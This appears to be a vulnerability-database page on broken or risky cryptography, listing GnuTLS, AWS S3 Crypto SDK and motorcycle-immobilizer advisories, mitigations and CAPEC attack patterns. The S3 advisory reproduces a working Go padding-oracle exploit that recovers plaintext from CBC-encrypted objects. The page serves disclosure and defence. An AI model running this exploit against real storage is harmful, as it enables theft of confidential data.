Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2023-03-01 18:30GnuTLS 3.6.x before 3.6.14 uses incorrect cryptography for encrypting a session ticket (a loss of confidentiality in TLS 1.2, and an authentication bypass in TLS 1.3). The earliest affected version is 3.6.4 (2018-09-24) because of an error in a 2018-09-18 commit. Until the first key rotation, the TLS server always uses wrong data in place of an encryption key derived from an application.

GHSA-F5PG-7WFW-84Q9
Vulnerability from github – Published: 2022-02-11 23:26 – Updated: 2024-05-20 21:15Summary
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.
Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.
This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) 128*length(plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.
This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.
Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.
Proof of concept
A Proof of concept is available in a separate github repository.
This particular issue is described in padding_oracle_exploit.go:
func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
}
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
padding := byte(len(data) - length)
plaintext := make([]byte, length)
for i := length - 1; i >= 0; i-- {
newLength := 16 * (i/16 + 1)
dataCopy := make([]byte, newLength)
headerCopy := header.Clone()
copy(dataCopy, data)
// Set Padding
newPadding := byte(newLength - i)
for j := i + 1; j < newLength; j++ {
var oldValue byte
if j >= length {
oldValue = padding
} else {
oldValue = plaintext[j]
}
dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
if err != nil {
return "", err
}
}
// Guess
for c := 0; c < 256; c++ {
dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
if input.Oracle(bucket, key+"guess") {
plaintext[i] = byte(c)
break
}
dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
}
}
return string(plaintext), nil

GHSA-F65X-W4FQ-XJ28
Vulnerability from github – Published: 2026-05-29 15:30 – Updated: 2026-05-29 15:30Weak authentication between the Wireless Control Module (WCM) and the Engine Control Module (ECM) of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker with read access to the in-vehicle network to recover the per-vehicle ECM immobilizer secret by passively observing a single seed/key exchange. The WCM derives its response using a reversible, non-cryptographic operation rather than a cryptographic challenge-response, so the persistent immobilizer secret can be reconstructed from one captured exchange. With this secret the attacker can authenticate to the ECM independently of the WCM and start the engine, defeating the immobilizer. Specific protocol details have been withheld pending vendor remediation.

Mitigation MIT-24
Strategy: Libraries or Frameworks
- When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
- For example, US government systems require FIPS 140-2 certification [REF-1192].
- Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.
- Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
Mitigation MIT-52
Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
Mitigation
Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
Mitigation MIT-25
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.
CAPEC-608: Cryptanalysis of Cellular Encryption
The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices.
CAPEC-614: Rooting SIM Cards
SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC-enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse.
CAPEC-97: Cryptanalysis
Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).
